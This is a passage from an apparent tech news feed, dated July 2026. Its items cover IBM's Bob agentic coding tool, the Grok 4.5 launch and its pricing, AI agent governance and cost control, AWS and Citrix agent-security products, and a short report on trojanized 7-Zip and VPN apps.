Bob is designed to address that broader problem, he said: understanding complex systems, planning changes, executing work, validating results, and giving leaders visibility into usage, governance, and cost. “IBM Bob supports the work around the code, as much as the code itself,” he said.

Bob’s new features

Bob, which was made globally available in April, embeds agentic AI across the entire development process: discovery, planning, design, coding, testing, deployment, and operations. It offers different persona-based modes (‘Agent,’ ‘Plan,’ ‘Ask’), reusable playbooks, and enforced standards.

Bob can call tools to perform different tasks and route those tasks between different models, like IBM’s Granite or Anthropic’s Claude, based on cost, performance, and accuracy needs. It can also run several tasks simultaneously, each in its own thread. From a security standpoint, it scans sensitive data, enforces policy in real time, and incorporates red-teaming directly into development workflows.

“Enterprise software work is rarely a single prompt or a single file,” said Kwok, noting that it often requires repository discovery, dependency analysis, testing, security review, documentation, and human approval. “Bob coordinates that work, rather than leaving developers to stitch it together manually,” he said.

Now, rather than running each one separately, Bob can call model-native tools in parallel and run them simultaneously. This means that a task that previously took 30 seconds can now be done in 10 seconds or less, reducing token consumption per task, IBM says. Its context window is also larger (270K tokens compared to 200K in V1).

Additionally, Bob can pull in subagents to perform its exploratory steps. When the agent needs to do a self-contained task, like “figure out how authentication works in this codebase,” it spins up a subagent to read files, perform analysis, and work out patterns. The main agent then receives a summary, and the intermediate steps are thrown away, IBM says. This helps prevent context window bloat.

Parallel tool calling reduces waiting time for work that fans out across searches, file reads, and validation steps, Kwok explained, while subagents keep the main context cleaner by isolating exploratory work and returning concise summaries.

“The point is not that Bob can do more things at the same time; it’s that Bob can coordinate those things in a way that remains understandable, repeatable, and auditable,” he said.

‘Bobalytics’ provides important metrics

Further, Bob is now equipped with ‘Bobalytics,’ a visibility and cost optimization tool for teams to help them maintain oversight, monitor use, and allocate resources.

“The goal is to help enterprises understand not only how much AI is being used, but if it’s creating meaningful value,” said Kwok.

Bobalytics is designed around multiple views, he explained. For instance, administrators need to see seat usage, consumption, governance controls, and activity visibility, while managers need insight into “team-level patterns,” such as who’s adopting Bob, which workflows are delivering value, and where teams may need support.

This can support important decision-making, Kwok said: Where adoption is high but value is low, teams may need better workflows or training; if a team has cost spikes, leaders need to know where and why, and take action accordingly.

Bob’s specialized packages

IBM has offered ways to help enterprises modernize across mainframes, Java codebases, and OSes for decades. Now, the company is incorporating that institutional knowledge into three pre-built, customizable workflows for Java modernization, IBM i, and IBM Z. The company says these are “structured, repeatable, auditable, and purpose-built.”

Bob for Java modernization helps teams migrate from Java 8 or earlier to Java 11, 17, 21, or 25, identifying compatibility issues, analyzing dependencies, coordinating code and configuration updates, and performing other important tasks.

For instance, a developer may ask Bob to assess an app for a Java version upgrade. Bob may have to inspect the build system, analyze dependencies, review framework usage, identify compatibility issues, read logs, understand test coverage, and propose an upgrade plan. Now it does those tasks in parallel, while subagents can handle focused investigations “without polluting the main conversation context,” Kwok said.

Bob for IBM i features curated skills and agentic workflows optimized for the IBM i OS. This includes refactoring “monolithic” apps into more modular modern structures, creating documentation, producing unit tests, and generating different types of code (COBOL, DDS, CL, RPG) for developers. Further, an ‘IBM i database mode’ allows Bob to emulate an experienced database engineer.

Mainframe environments have been notoriously difficult for AI integrations, and IBM says it is bringing AI-native app modernization to IBM Z for the first time, with COBOL and PL/I modernization and job control language (JCL) analysis.

Bob for IBM Z offers reusable skills; specialized modes that allow it to adapt to different tasks like code refactoring or architectural impact analysis, and the ability to write code, read, files, and execute commands.

For example, a developer may ask: “What impact will this field change have?” and Bob can use Z-specific analysis and metadata to reason across programs, copybooks, JCL, data flows, and subsystem interactions, Kwok noted. A subagent can explore one part of the system, summarize the relevant findings, and return only what the main agent needs to continue planning or executing the change.

Java, Z and i are all environments with different runtime assumptions, languages, integration patterns, governance needs, and operational constraints, he said, adding that IBM’s domain expertise is “a key differentiator.”

IBM will eventually broaden into other workflow-specific capabilities, he noted, in areas where “specialized workflows can materially improve real software delivery.”

IBM Bob not ‘just another copilot’

IBM Bob is not another copilot bolted onto your integrated development environment, said Shashi Bellamkonda, principal research director at Info-Tech Research Group. Rather, it “builds security, testing, and governance into the generation step, so code arrives already checked instead of landing on the reviewers who were the bottleneck.”

Prompt normalization blocks unsafe instructions as they’re written, sensitive data is scanned and secrets detected in real time, and policy enforcement is continuous throughout the code lifecycle, he noted. Bob, rather than a human team, picks models, and built-in and custom models allow developers to move between planning, coding, and review without needing to switch tools. Further, Model Context Protocol (MCP) integration connects Bob to existing toolchains.

Most AI coding tools have typically worked in the same way: Generate code in a coding tool, paste it into an integrated development environment (IDE), then spend time fixing what broke, Bellamkonda pointed out.

Developers end up writing a lot of code and losing hours chasing bugs. Then code hits production, where every line still has to clear security review, testing, and compliance. And while, for example, AWS Kiro requires a spec before any code exists, then tests code against it, AWS Transform goes after the other end, modernizing old code and clearing tech debt in a continuous loop.

“IBM Bob works the same stage but bakes the checks into generation,” Bellamkonda noted.

“The whole industry reached the same conclusion this year: Bolt an accelerator onto an unchanged pipeline, and you move the bottleneck downstream,” he said. “The tools just differ by where they step in.”

Enhancing enterprise inference on Amazon SageMaker HyperPod with data capture, Hugging Face, NVMe, and Route 53 integration

Thu, 09 Jul 2026 18:47:49 +0200

In this post, we walk through five capabilities now available in SageMaker HyperPod inference: multi-tier data capture for auditing and model improvement, direct deployment from Hugging Face Hub, local NVMe model loading for faster cold starts, automated Route 53 DNS for custom domains, and pod-level IAM through custom service accounts.

Citrix launches MCP Gateway to secure enterprise AI agents

Thu, 09 Jul 2026 16:08:34 +0200

Citrix has announced updates to its high-performance application delivery and security platform NetScaler, introducing MCP Gateway functionality to allow enterprises to securely route, govern and observe agent traffic to backend Model Context Protocol (MCP) servers. In addition, the company unveiled other enhancements to NetScaler AI Gateway, that extend model routing and token-level usage tracking for LLM traffic. Together, the capabilities enable organizations to govern both sides of enterprise AI from a single platform and dashboard, … More →

The post Citrix launches MCP Gateway to secure enterprise AI agents appeared first on Help Net Security.

Citrix launches MCP Gateway to secure enterprise AI agents

Thu, 09 Jul 2026 16:08:25 +0200

The post Citrix launches MCP Gateway to secure enterprise AI agents appeared first on IT Security News.

Loop Engineering for Hierarchical Retrieval: Reading a Long Document by Its Table of Contents

Thu, 09 Jul 2026 15:33:37 +0200

Enterprise Document Intelligence [Vol.1 #7quater] - A 492-page document has a 358-entry table of contents. You can’t read it all, and top-k over every page mixes the answer with its neighbours. Route through the TOC instead: a bounded loop inside retrieval that saves tokens and lifts precision

The post Loop Engineering for Hierarchical Retrieval: Reading a Long Document by Its Table of Contents appeared first on Towards Data Science.

New AirPods Are Coming, Everything We Know So Far

Thu, 09 Jul 2026 13:09:34 +0200

Apple is expected to release its next major AirPods upgrade in late 2027, with rumors suggesting a new model that could include built-in cameras to enable smarter Siri features. Apple already has a strong AirPods lineup in 2026. The current range includes: AirPods 4 AirPods 4 with Active Noise Cancellation AirPods Pro 3 AirPods Max 2 AirPods Pro 3 launched in September 2025 with improved sound, better noise cancellation, Live Translation, and a built-in heart rate sensor for workouts. Apple also refreshed AirPods Max in March 2026 with the H2 chip, better Active Noise Cancellation, Adaptive Audio, Conversation Awareness, and improved audio performance. New AirPods with cameras may arrive in 2027 The biggest rumored AirPods update is a new model with built-in cameras. These cameras are not expected to work like normal phone cameras. They are reportedly designed to help Siri understand the world around the user. For example, AirPods could use visual data to answer questions about objects, food, directions, or reminders. Reports suggest Apple is targeting a late 2027 launch for these camera-equipped AirPods. The product was previously expected earlier, but delays around Apple Intelligence and Siri have reportedly pushed the timeline back. What features could the new AirPods include? The next major AirPods model could bring: Built-in cameras for visual awareness Smarter Siri responses based on the user’s surroundings Longer stems to fit the camera hardware LED indicators to show when visual data is being captured Deeper iPhone app integration with Maps, Reminders, and other Apple apps There is also speculation that Apple could brand this product as AirPods Ultra or launch it as a future AirPods Pro model. Recent iOS 27 beta code has reportedly hinted at a new AirPods product linked to visual intelligence features. Will AirPods Pro 4 launch soon? Right now, there is no strong sign that AirPods Pro 4 will arrive soon. AirPods Pro 3 is still fresh in Apple’s lineup and already includes major upgrades such as heart rate tracking, improved battery life, and fitness-focused features. Apple’s own specs list up to 8 hours of listening time with Active Noise Cancellation enabled. Because of that, Apple will likely focus on the camera-equipped AirPods before making another standard Pro update. Should you buy AirPods now? Yes, buying AirPods now makes sense if you need them. AirPods Pro 3 and AirPods Max 2 are both recent products, while AirPods 4 remains Apple’s affordable option. The next big AirPods upgrade is still expected in 2027, so most buyers do not need to wait. If you want the newest health and smart features, choose AirPods Pro 3. If you want over-ear headphones with stronger noise cancellation, choose AirPods Max 2. If you want a cheaper pair for daily use, AirPods 4 is still a good pick.

SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals

Thu, 09 Jul 2026 12:33:06 +0200

SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.

In a statement, the company said the model is priced at $2 per million input tokens and $6 per million output tokens. It said the model is built for coding and agentic work, runs at 80 tokens per second, and uses fewer tokens than comparable models on some software engineering tasks.

Grok 4.5 is available through the SpaceXAI console and Grok Build. It is also available in Cursor, the AI coding tool made by Anysphere, giving SpaceXAI a route into a development environment already used by programmers rather than only competing through an API. SpaceXAI said EU availability is expected in mid-July.

In June, SpaceX, which owns SpaceXAI, said it was buying Anysphere, the startup behind Cursor, in a deal aimed at strengthening its position in enterprise AI tools. In a separate statement, Cursor said that Grok 4.5 was trained jointly with SpaceXAI and used trillions of tokens of Cursor data, including user interactions with codebases and software tools.

The launch addresses a growing realization among enterprise engineering teams that AI coding agents can become expensive once they move beyond simple prompts.

“Enterprises are hitting a wall with AI ROI,” said Neil Shah, vice president for research at Counterpoint Research. “The massive token consumption required by autonomous agents and coding is causing bill shocks, turning AI adoption into an expensive, one-way street.”

AI coding at half the cost

On Artificial Analysis’ Coding Agent Index, Grok 4.5 in Grok Build finished below Fable 5 in Claude Code and roughly level with GPT-5.5 in Codex. It estimated Grok 4.5’s cost at $2.49 per task, compared with $5.07 for GPT-5.5 in Codex and $11.80 for Fable 5 in Claude Code.

The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.

“It is too early to say if Grok 4.5 is a game changer,” said Anand Joshi, managing director of market research firm JP Data. “The benchmarks are impressive, and the low token usage will be attractive to enterprises. The developer community will give a verdict in time if the coding output is superior to the competition.”

Cost per task, not cost per token

“Grok 4.5’s pricing is notable because it lowers the economics of running agentic coding workloads, but enterprise buyers should focus on cost per successful outcome rather than cost per token,” said Biswajeet Mahapatra, principal analyst at Forrester.

A cheaper model can still cost more in practice if it needs repeated attempts to produce working code, Mahapatra said. Enterprises should look at the full cost of a coding workflow, including developer review effort and whether the final output is usable, he said.

A bigger concern, according to Lian Jye Su, chief analyst at Omdia, is that token use has become too easy a proxy for value.

“We are living in the era where token consumption is seen as the ultimate value creation but the true value still lies in actual job completion,” Su said. “To most enterprises, the cost per job done remains the best approach to assess agent effectiveness.”

That makes Grok 4.5 less a simple pricing story than a test of whether SpaceXAI can lower the actual cost of AI-assisted development in real engineering environments, where corporate codebases often expose weaknesses that public benchmarks may miss.

Mahapatra said tests such as SWE-Bench Pro, DeepSWE, and Terminal Bench can offer early signals, but enterprises should also compare Grok 4.5 with other models on their own repositories before adopting it more widely. Su said A/B testing in real development environments, combined with cost monitoring over time, would give enterprises a clearer view of token efficiency and output quality.

Where Grok 4.5 may fit

Grok 4.5 is unlikely to displace broader enterprise AI platforms on price alone. Its more realistic near-term role is in software engineering workflows, particularly at companies already using more than one model and trying to route work based on cost, speed, and accuracy.

Cursor and Grok Build users are among the most likely to find this model useful, according to Su. Mahapatra said Grok 4.5 could become a primary coding assistant for some teams, especially where software engineering is the main workload, but larger enterprises are more likely to test it as part of a mixed-model strategy.

Shah said that the shift is already underway as enterprises become more cautious about relying on a single AI provider. High-risk or more complex tasks may still go to models such as Claude, he said, while Grok 4.5 could appeal to high-volume developer workflows and repetitive agentic tasks if its accuracy proves close enough to rival systems.

Cursor could give SpaceXAI another advantage, Shah added. By training with developer interaction data from Cursor, Grok 4.5 could benefit from a feedback loop based on how programmers actually write, review, and debug code.

SpaceXAI launches Grok 4.5, touts lower coding-task costs than AI rivals

Thu, 09 Jul 2026 12:32:12 +0200

SpaceXAI has launched Grok 4.5, pitching the model to developers and enterprises trying to control the rising cost of AI-assisted software development.

The launch addresses a growing realization among enterprise engineering teams that AI coding agents can become expensive once they move beyond simple prompts.

AI coding at half the cost

The figures give SpaceXAI a useful proof point, though analysts said companies will still need to test the model on their own codebases before relying on it widely.

Cost per task, not cost per token

A bigger concern, according to Lian Jye Su, chief analyst at Omdia, is that token use has become too easy a proxy for value.

Where Grok 4.5 may fit

The article originally appeared on InfoWorld.

Fake VPN and 7-Zip Apps Turn Victims Into Residential Proxy Nodes

Thu, 09 Jul 2026 11:08:48 +0200

Fake apps like WireVPN and a trojanized 7-Zip turn victims’ devices into residential proxies, letting criminals route traffic through their IPs. Infoblox’s threat research team started pulling on a single thread in early 2026: a fake version of the 7-Zip archive utility hosted at 7zip[.]com instead of the real site, 7-zip[.]org. The researchers uncovered a […]

Fake VPN and 7-Zip Apps Turn Victims Into Residential Proxy Nodes

Thu, 09 Jul 2026 11:08:01 +0200

The post Fake VPN and 7-Zip Apps Turn Victims Into Residential Proxy Nodes appeared first on IT Security News.

Three keys to deploying AI agents

Thu, 09 Jul 2026 11:03:34 +0200

Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.

Gartner predicts that more than 40% of agentic AI projects will be canceled by 2027, and the EU AI Act Article 14 requirements for human oversight for high-risk AI systems take effect on August 2, 2026. The deciding factor for whether agentic AI reaches production isn’t the model, the framework, or the use case. It’s the infrastructure beneath the agent: the part the people building agents have never had to think about.

Organizations are racing to deploy agentic AI to stay competitive, which means pressure-testing is often overlooked. Every agent project should be scrutinized by three executives asking three different sets of questions. The CISO asks whether we are exposed. The CFO asks whether we are overspending. The chief AI officer asks whether we are getting value.

As a product leader focused on AI governance, I see this pattern across customer environments. Three architecture layers answer those three questions: identity, observability, and cost optimization. I’ll walk through each of the layers and provide a four-question diagnostic for the next production push.

Why AI pilots stall

An agent is not a faster chatbot. It chains dozens of steps, calls external tools, retains state across sessions, and triggers real-world actions. Most inherit the credentials of whoever deployed them. They operate at machine speed without context for the consequences of each step.

The mismatch is not a competence gap on the human side. It is a time-horizon gap. An engineer reasons about a database change over hours. An agent triggers a hundred of them before anyone reviews the first. Traditional audit logging captures request and response. That does not catch this pattern.

When something breaks, the cost is rarely the incident. It is the months of stalled deployment that follow. The risk committee freezes pilots. The productivity gains the program was supposed to deliver never materialize. Finance still gets the API bill. Three architecture layers decide whether a deployment survives that pattern. Each one is the answer to a question the people building agents never had to ask.

Layer 1: Identity for non-human actors

Start with identity. The default failure looks routine: a product manager with broad API access spawns an agent that inherits the full scope of those credentials and runs at machine speed across systems no one inventoried.

The scale is bigger than most teams realize. Industry IAM research puts non-human identities at more than 100 to 1 versus human accounts, with some 2026 surveys putting the ratio as high as 144 to 1. A May 2026 Identity Gap Report found two-thirds are unseen and unmanaged.

Agents are moving from human identities with their “owners”’ permissions to first-class principals. They are purpose-bound, cryptographically attested, and scoped to one task at a time. Google’s Agent Identity, built on SPIFFE, is one early example. The production pattern has three properties. Credentials are issued per agent task. Token lifetime is measured in minutes to hours, not weeks. Scope is narrowed to the specific tools and data classes the task requires, and the credential revokes automatically on task completion.

If a single static credential is good for a week and 50 different tasks, you are not running agentic AI. You are running a service account with extra steps.

Layer 2: Observability that serves all three executives

Identity controls what an agent can do. Observability shows what it’s actually doing. One instrumentation layer, three views.

First, the security view. Traditional logging captures request and response, which assumes one human action per logged event. An agent’s unit of work is a chain. Pick a tool, call it, read the result, decide the next step. Twenty steps, some of them writing to production. Instrument every step as a durable audit object, independently queryable. Understand which tool was invoked, what data was accessed, what policy applied, and what the agent reasoned to justify the next step. That’s what Article 14 oversight requires for production.

Second, the business-outcomes view. Audit objects answer the CISO. The chief AI officer asks a different question. Is the agent accomplishing what we deployed it for, or burning compute on a tangent? An agent can run 200 tool calls, generate clean audit logs, and produce nothing. It might be looping on a sub-goal that drifted three steps back. Observe each step against the declared business purpose: on-task ratio, sub-goal coherence, progress markers. Project management telemetry for a non-human worker.

Third, the cost view. The same per-step instrumentation produces cost telemetry: token count per step, model per call, context size per turn, downstream tool-call costs. Without that attribution, the next section’s optimizations are blind.

A busy agent and a productive agent look identical in the security log. They look identical on the bill too. The difference shows up only when all three views run from the same instrumentation.

Layer 3: Cost optimization

Cost is where the architecture pays back. Gartner’s March 2026 analysis put agentic workloads at five to 30 times the token cost per task of a standard chatbot. The FinOps Foundation’s 2026 State of FinOps report found that 73% of organizations exceeded their original AI budget projections. Three failure modes drive that overrun.

First, using the wrong model. Agents default to the most capable one available. They call a frontier model for tasks a smaller one could handle with identical quality: summarizing a transcript, formatting JSON, classifying a ticket. The RouteLLM paper at ICLR 2025 demonstrated that intelligent routing cuts total LLM inference cost 40% to 80% with no measurable quality loss on routine work. Move model selection from a per-developer choice to a per-policy layer.

Second, running in loops. Agents can spend without limit if no one is watching. A widely-cited 2026 incident saw a LangChain multi-agent system run an infinite loop for 11 days and burn $47,000 in API charges. Per-session token ceilings, loop-detection circuit breakers that flag tool calls highly similar to prior calls, and hard daily caps stop this before it generates the bill. In our deployments, a three-tier cost structure catches the bulk of runaway patterns: a $50 daily soft alert, a $100 daily hard cutoff forcing routing to cheaper models, and a $1,000 monthly ceiling requiring manager approval.

Third, re-paying for the same context on every step. Every step re-sends the accumulated system prompt and conversation history. By step 20 the agent has paid for that context 20 times. Vantage’s 2026 analysis of agentic coding sessions found re-sent context accounts for roughly 62% of the average agent’s bill, the biggest single optimization target in agentic workloads. Three patterns help: anchored summarization at phase boundaries, sliding context windows, and provider-native prompt caching at the gateway. Most agents skip caching entirely, though Anthropic prices cached input at roughly 10% of base, Gemini at 10% to 25%, and OpenAI at 50%.

Governing agent cost means seeing every call, every model, every token attributed to the agent and the business purpose. Then act on it. Token counts without business attribution tell you how many gallons of gas you burned, not where you drove.

The deployment velocity payoff

The three layers serve the three executive questions. Identity gates what the agent can do. Observability shows what it is doing. Cost optimization controls what it spends.

The honest counterargument is that governance always slows deployment. That is true when governance is bolted on as approval gates layered over an agent that wasn’t built with observability or per-task identity. It is false when governance is built into the architecture from day one. Teams that experience governance as a brake installed the brake without the steering wheel.

Governance built right still costs something. Per-task credentials add work on every tool call. Observability infrastructure adds compute. The question is whether that cost beats the alternative.

The layers compound. Identity without observability is theoretical. Observability without cost control is descriptive. Without identity at the bottom, cost control becomes caps without context, forever reactive. All three together produce a governance review that runs in weeks, not quarters, because the data each executive needs already exists. In our experience, organizations with that infrastructure can deploy six workflows to production in the time competitors complete one governance review. The real ROI of agentic AI is not how much faster a single workflow runs. In practice, it’s how many workflows your team can defensibly put into production in a year.

Before the next pilot

Here are four questions to run against any agent your team is about to push to production:

Identity. For each agent in production, can you point to the per-task credentials it uses today, and the maximum scope of any single token?
Observability. For any agent session, can you produce three views from the same instrumentation: the audit object per step, the on-task ratio versus tangents, and the per-step cost broken down by model and context size?
Cost optimization. Does your platform automatically route by model, cap runaway loops, and avoid re-sending the same context every step?
Velocity. How long does it take a new agent workflow to move from approved pilot to production in your environment today?

If the answer is months, the architecture above is the gap. Gartner’s 40% stat is about your next pilot.

—

New Tech Forum provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all inquiries to doug_dineley@foundryco.com.

PhD student looking for guidance on binary exploitation research

Thu, 09 Jul 2026 04:03:31 +0200

Dear all,

I am a PhD student with a solid background in Linux binary exploitation, including both user-mode and kernel mode. My research interest lies in binary exploitation, and I am trying hard to increase my knowledge in this area.

My goal is to write peer-reviewed research papers on binary exploitation. But right now, I am not sure about how to find interesting areas of research, how to find research gaps, and what methodology I can follow for research in binary exploitation.

Any suggestions on how do experienced researchers come up with new research questions, perform literature review, and choose research directions on vulnerability research and binary exploitation will be much appreciated!

Thanks!

submitted by /u/Hopeful-Ad6787
[link] [comments]

SpaceX's Grok 4.5 launches at half the price of rivals — here's why that could rattle Anthropic and OpenAI

Thu, 09 Jul 2026 00:47:48 +0200

Elon Musk's SpaceX released Grok 4.5 on Wednesday, the first artificial intelligence model the company has trained specifically for coding and autonomous agents — and the first tangible product of its $60 billion acquisition of the AI coding startup Cursor, completed just weeks ago.

The launch marks a pivotal test of the sprawling, vertically integrated AI empire Musk has assembled over the past six months, and of a strategy that bets developers care less about topping benchmark leaderboards than about speed, cost, and whether a model can actually do the work.

"Announcing Grok 4.5, our first model trained specifically for coding and agents," the company said in a post on X. "It was trained with Cursor and offers frontier intelligence at leading speeds and cost efficiency."

Why Grok 4.5's pricing strategy matters more than its benchmark scores

SpaceX is not claiming Grok 4.5 is the smartest model in the world. Instead, it is making an economic argument. The company says the model uses half as many tokens per task as comparable models, delivers higher throughput, and costs less than half as much — priced at $2 per million input tokens and $6 per million output tokens. That undercuts the premium tiers of rivals like Anthropic's Claude Opus line and OpenAI's frontier models by a wide margin.

Musk framed the positioning candidly. "Our internal assessment is that Grok 4.5 is roughly comparable to Opus 4.7, but much faster," he wrote on X. "The combination of capability, faster speed and lower cost is what makes it competitive. We are closing the loop on real-world usefulness, not benchmarks. Hardcore engineers at Tesla & SpaceX find Grok 4.5 genuinely useful, which is what actually matters."

That framing is both a philosophy and a hedge. Independent evaluations released Wednesday suggest Grok 4.5 is genuinely competitive but not dominant on raw capability. The benchmarking firm Artificial Analysis ranked the model fourth on its GDPval-AA v2 index of real-world agentic knowledge work, with an Elo score of 1543, "behind only the latest Claude releases from Anthropic." But the cost figures are where the model stands out. Artificial Analysis measured Grok 4.5 at $0.49 per completed task — "nearly 90% cheaper than the models ahead of it on our leaderboard," the firm wrote, placing it "clearly on the Pareto frontier for performance versus cost."

For enterprise buyers, that math matters enormously. Agentic workloads — where a model works autonomously for minutes or hours, reading codebases, calling tools, and iterating on its own output — consume tokens voraciously. A model that is 90% cheaper per completed task, even if slightly less capable, changes the calculus for any engineering organization deploying agents across hundreds of developers. Investor Gavin Baker captured the market's cautious optimism: "Pareto dominant for coding by the numbers. We will see on the all-important vibes."

How the $60 billion Cursor acquisition shaped Grok 4.5's training

Grok 4.5 is the first concrete evidence of what SpaceX bought when it acquired Cursor, and the deal itself unfolded in stages. In April, SpaceX struck an unusual arrangement giving it the right to buy the coding startup for $60 billion — or pay billions in fees and compute if it walked away, as Business Insider reported at the time. Days after SpaceX's record-setting Nasdaq debut in June, the company exercised that right, announcing an all-stock acquisition that CNBC reported is roughly 3.4% dilution at the IPO valuation. SpaceX shares rose 16% on the news.

The strategic logic was always about data as much as product. Cursor's AI-first code editor generates an enormous stream of high-quality interaction data: how expert engineers write, edit, review, and debug code in real production environments. Musk said openly this spring that Cursor interaction data was being fed directly into Grok's training. Cursor, for its part, got access to SpaceX's Colossus supercomputer in Memphis — roughly 200,000 Nvidia GPUs with plans to scale toward one million — after publicly acknowledging it had been "bottlenecked by compute."

"We've partnered with SpaceXAI to train Grok 4.5," Cursor's official account posted Wednesday. "It's our most powerful model yet and the first we've built for more than software engineering." SpaceX says the model reflects that pedigree: it "excels in large codebases and handles long-running tasks that span multiple repositories, hundreds of skills, and a variety of tools" — precisely the messy, multi-file reality of professional software engineering that clean coding benchmarks often fail to capture. Early developer reactions suggest the training paid off. "Ok Grok 4.5 is wild," posted developer Evan Bacon. "It just built me this rocket tracking app with live data and a 3D globe. I might need a new benchmark after this."

Inside xAI's turbulent year of scandals, departures, and rebuilding

The polished launch belies how chaotic the road here has been. Grok has spent much of the past year in crisis. In mid-2025, the chatbot generated antisemitic content and at one point called itself "MechaHitler," episodes covered extensively by NPR and CNN. Earlier this year, its image-generation features allowed users to create sexualized deepfakes, including of children — drawing investigations from the European Commission and Britain's Ofcom, as the BBC reported, and prompting SpaceX to list the behavior as a business risk in its own IPO filings.

The organization behind the model was fracturing, too. All 11 of Musk's xAI co-founders had departed by the end of March, according to TechCrunch, and Musk publicly conceded that xAI "was not built right [the] first time around," saying he was rebuilding it "from the foundations up." Musk himself admitted at a conference this spring that Grok was "currently behind in coding" — a rare public concession from an executive not known for them.

Against that backdrop, Grok 4.5 reads as the first product of the rebuilt organization — and the first proof point for the audacious story SpaceX told public market investors. During its IPO roadshow, the company pitched a total addressable market of roughly $28 trillion, with about $26 trillion tied to AI, including a $22.7 trillion "enterprise applications" opportunity. Those numbers strained credulity even by Silicon Valley standards. A competitive, cheap coding model is the most direct route from that narrative to actual revenue, which is why Wednesday's launch carries weight far beyond a routine model release.

Grok 4.5 vs. Claude: the battle for the AI coding market

The competitive stakes are hard to overstate, because the AI coding market has been consolidating around a single leader — and it isn't Musk. Even as Cursor's revenue exploded, its market share was eroding. Spending data from Ramp cited by CNBC showed Cursor's share of the AI coding category falling from 41% in June 2025 to about 26% by May 2026, while Anthropic came to control roughly half the market. Anthropic also topped CNBC's Disruptor 50 list this year and, by Artificial Analysis's own measure, still holds the top spots on agentic performance rankings.

That is the gap Grok 4.5 is engineered to close — not by out-thinking Claude, but by underpricing it. The model's economics create a classic disruption dynamic: if it delivers most of the frontier's capability at a fraction of the cost per task, price-sensitive enterprise workloads will migrate, and incumbents will face pressure on their most profitable API traffic. The counterargument is that in coding, quality compounds. A model that resolves a complex bug correctly on the first attempt can be cheaper in practice than one that costs half as much per token but requires three tries. That is why Baker's caveat about "vibes" — the developer community's shorthand for a model's felt reliability on real work — will determine more than any launch-day benchmark.

There is also a structural question buried in the deal. Cursor built its business on offering developers their choice of models, including Claude and GPT. If Grok becomes the favored child inside Cursor — and Musk was already urging users to "Try out Grok 4.5 in Cursor!" within hours of launch — the product risks alienating the very users whose data made Grok 4.5 possible. Regulators, already scrutinizing Grok on safety grounds in two jurisdictions, may take a keen interest in a company that controls the training data, the model, and a dominant distribution channel simultaneously.

What Musk's trillion-dollar vertical integration bet means for AI's future

Grok 4.5 also crystallizes what Musk's frenetic dealmaking was building toward. In February, SpaceX absorbed xAI in a share-exchange merger that CNBC confirmed valued the combined company at $1.25 trillion — the largest merger of all time, valuing SpaceX at $1 trillion and xAI at $250 billion. The June IPO followed, the biggest in history, and the stock has since surged past $200 from its $135 offering price, vaulting SpaceX past Amazon and Microsoft to become the fourth most valuable company in the United States.

The result is a single public company that owns nearly the entire stack: Colossus for training compute, ambitions for orbital data centers to power future scaling, a frontier model in Grok, a distribution channel in Cursor's developer base, and captive demand from Tesla and SpaceX's own engineering organizations. Neither OpenAI nor Anthropic can fully replicate that integration; both must reach developers through third-party tools, some of which Musk now owns. Whether that concentration proves to be an unassailable moat or a regulatory target — or both — is now one of the defining questions in enterprise AI.

The next few weeks will start to answer it. Artificial Analysis says its full Intelligence Index results are forthcoming. Enterprise pilots will reveal whether the token-efficiency claims survive contact with real codebases. And Anthropic, which has answered every serious challenge this cycle with a rapid counter-release, is unlikely to cede the price-performance frontier quietly.

But the deeper story of Grok 4.5 may be what it says about where the AI race has moved. For three years, the industry's scoreboard was intelligence: whose model was smartest. Musk, arriving late and battered, has chosen to compete on a different axis entirely — whose model is cheapest to actually use. It is a telling choice from a man who built his fortune not by inventing the rocket or the electric car, but by relentlessly driving down the cost of making them. If the strategy works, Musk will have done to AI what he did to spaceflight. If it doesn't, he'll have spent $60 billion to learn that in software, unlike rockets, the cheapest ride isn't always the one engineers choose.

Messi and Ronaldo Are Building Tech Portfolios. Mo Salah Is Playing a Different Game

Wed, 08 Jul 2026 23:17:40 +0200

Lionel Messi and Cristiano Ronaldo are betting on AI, health tech, and startups. Mohamed Salah is taking a more traditional route beyond football.

Netflix AI Team Cuts Wide-Partition Read Latency from Seconds to Milliseconds by Splitting Cassandra Partitions Per ID

Wed, 08 Jul 2026 23:02:59 +0200

Netflix engineers detailed how they handle wide partitions in Apache Cassandra for the TimeSeries Abstraction. Two approaches work together: Time Slice re-partitioning tunes future partitions at the table level, while dynamic partitioning detects and splits oversized partitions per TimeSeries ID on the read path. Detection runs via byte counting and Kafka, splits are checksum-validated, and Bloom filters route reads to parallel child partitions. Average read latency dropped from seconds to low double-digit milliseconds, with 500MB+ partitions staying available.

The post Netflix AI Team Cuts Wide-Partition Read Latency from Seconds to Milliseconds by Splitting Cassandra Partitions Per ID appeared first on MarkTechPost.

Securing Amazon Bedrock AgentCore Runtime with AWS WAF

Wed, 08 Jul 2026 18:20:49 +0200

This post shows you two architecture patterns that address this problem. Both use an internet-facing ALB with AWS WAF and route traffic through a VPC Interface Endpoint to AgentCore Runtime. Pattern 1 places an AWS Lambda proxy between the ALB and the VPC Endpoint, giving you full control over request transformation. Pattern 2 targets the VPC Endpoint ENI IP addresses directly from the ALB, removing the Lambda hop entirely. You also learn how to close the direct-access backdoor with a resource policy so that traffic flows through AWS WAF only. Both patterns have been tested end-to-end with SigV4 and OAuth (Amazon Cognito JWT) authentication.

Apple’s MacBook Pro Storage Prices Push Modder To Build His Own 8TB SSD Upgrade

Wed, 08 Jul 2026 15:13:15 +0200

Apple’s high storage upgrade prices have pushed one MacBook Pro owner to take a risky route, as he upgraded his machine to an 8TB SSD…

The post Apple’s MacBook Pro Storage Prices Push Modder To Build His Own 8TB SSD Upgrade appeared first on OnMSFT.

Mutation testing comes to DAML

Wed, 08 Jul 2026 13:08:35 +0200

In April we released Mewt, our open-source mutation-testing engine that finds the gaps in your test suite. Today we’re expanding it with support for DAML, the language Canton Network applications are written in. Mewt now reads DAML, generates several classes of mutants (including two built for DAML’s authorization primitives), and runs them through your existing test suite to count how many mutants survive. If you want to try it, simply install Mewt from the repository, point a mewt.toml at your project and its test command, and use mewt run.

